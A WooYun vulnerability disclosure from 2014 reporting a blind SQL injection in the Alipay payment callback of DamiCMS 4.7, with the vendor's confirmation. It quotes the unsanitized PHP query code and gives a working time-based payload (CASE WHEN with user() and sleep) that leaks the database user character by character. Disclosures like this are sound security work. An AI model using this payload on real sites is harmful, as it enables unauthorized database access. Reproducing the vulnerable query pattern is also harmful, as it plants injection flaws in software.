当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087989

漏洞标题:大米CMS最新版SQL盲注5绕过防御

相关厂商:damicms.com

漏洞作者: xfkxfk

提交时间:2014-12-24 11:08

修复时间:2015-03-24 11:10

公开时间:2015-03-24 11:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-24: 厂商已经确认,细节仅向厂商公开
2014-12-27: 细节向第三方安全合作伙伴开放
2015-02-17: 细节向核心白帽子及相关领域专家公开
2015-02-27: 细节向普通白帽子公开
2015-03-09: 细节向实习白帽子公开
2015-03-24: 细节向公众公开

简要描述:

大米CMS最新版4.7,SQL盲注

详细说明:

大米CMS最新版4.7,SQL盲注,绕过防御
文件/Web/Lib/Action/PublicAction.class.php:

//在线充值或在线订单处理
function shouquan(){
$ap_path = (intval(C('AP_TYPE'))==1?'ap_jishi':'ap_danbao');
require_once("./Trade/{$ap_path}/alipay.config.php");
require_once("./Trade/{$ap_path}/lib/alipay_notify.class.php");
//计算得出通知验证结果
$alipayNotify = new AlipayNotify($alipay_config);
$verify_result = $alipayNotify->verifyNotify();
//if($verify_result) {//验证成功
if(!$verify_result) {//假设这里验证成功

//商户订单号WIDout_trade_no
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
//交易状态
$trade_status = $_POST['trade_status'];

$total_fee = $_POST['total_fee'];
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
//该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款

//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序

M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0);
logResult('等待买家付款!');
echo "success"; //请不要修改或删除
}
else if($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
//该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',1);
logResult('已付款,等待发货!');
echo "success"; //请不要修改或删除


//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else if($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
//该判断表示卖家已经发了货,但买家还没有做确认收货的操作

//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',2);
logResult('已发货,等待收货!');
echo "success"; //请不要修改或删除
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else if($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') {
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',3);
$trade_type = substr($out_trade_no,0,2);
if($trade_type == "CZ"){
$arr = explode("-",$out_trade_no);
if(count($arr)==2){
$uid = intval($arr[1]);
if($uid>0){
M('member')->where('uid='.$uid)->setInc('money',$total_fee);
//logResult(M('dami_common_member',null)->getLastSql().'<BR>');
$data['uid'] =$uid;
$data['addtime'] = time();
$data['price'] =$total_fee;
$data['trade_no'] = $out_trade_no;
$data['remark'] = "用户充值";
$data['log_type'] = 0;
M('money_log')->add($data);
//logResult(M('money_log')->getLastSql().'<BR>');
}
}
}
//退款退货相关
else if($_POST['refund_status'] == 'WAIT_SELLER_AGREE'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',7);
}
else if($_POST['refund_status'] == 'WAIT_BUYER_RETURN_GOODS'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',8);
}
else if($_POST['refund_status'] == 'REFUND_SUCCESS'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',9);

}
else if($_POST['trade_status'] == 'TRADE_CLOSED'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',10);
}
else{
logResult($out_trade_no.'<BR>');
}
//该判断表示买家已经确认收货,这笔交易完成

//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
logResult('交易完成!');
echo "success"; //请不要修改或删除
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else {
//其他状态判断
logResult('其他状态!');
echo "success";
//调试用,写文本函数记录程序运行情况是否正常
//logResult ("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
//——请根据您的业务逻辑来编写程序(以上代码仅作参考)——

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
}
else {
//验证失败
logResult('验证失败<BR>');
echo "fail";
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
}


先看这里:

$verify_result = $alipayNotify->verifyNotify();


这里的$verify_result就是在支付时进行验证的结果
正常情况下,使用这里的支付时,这里肯定是验证成功的
所以这里的$verify_result应该是返回True的
所以这里我们假设$verify_result=True
当验证成功后,进入到下面:

$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
//交易状态
$trade_status = $_POST['trade_status'];
$total_fee = $_POST['total_fee'];
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0);
logResult('等待买家付款!');
echo "success"; //请不要修改或删除
}


POST的内容直接进入了where条件中
在where条件中,字符串是不做处理的,导致sql漏洞产生
继续下面的内容,同样产生大量的sql注入

漏洞证明:

发送请求:

http://localhost/dami/index.php?s=/Public/shouquan.html
out_trade_no=111' %26%26 CASE WHEN(mid((user()) from 1 for 1)=char(114)) THEN sleep(5) ELSE (0) END%23&trade_status=WAIT_BUYER_PAY


这里会延时5秒返回:

1.png


看看数据库执行记录:

2.png

修复方案:

intval

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-12-24 11:41

厂商回复:

已加强防御 谢谢 到官网下新版

最新状态:

暂无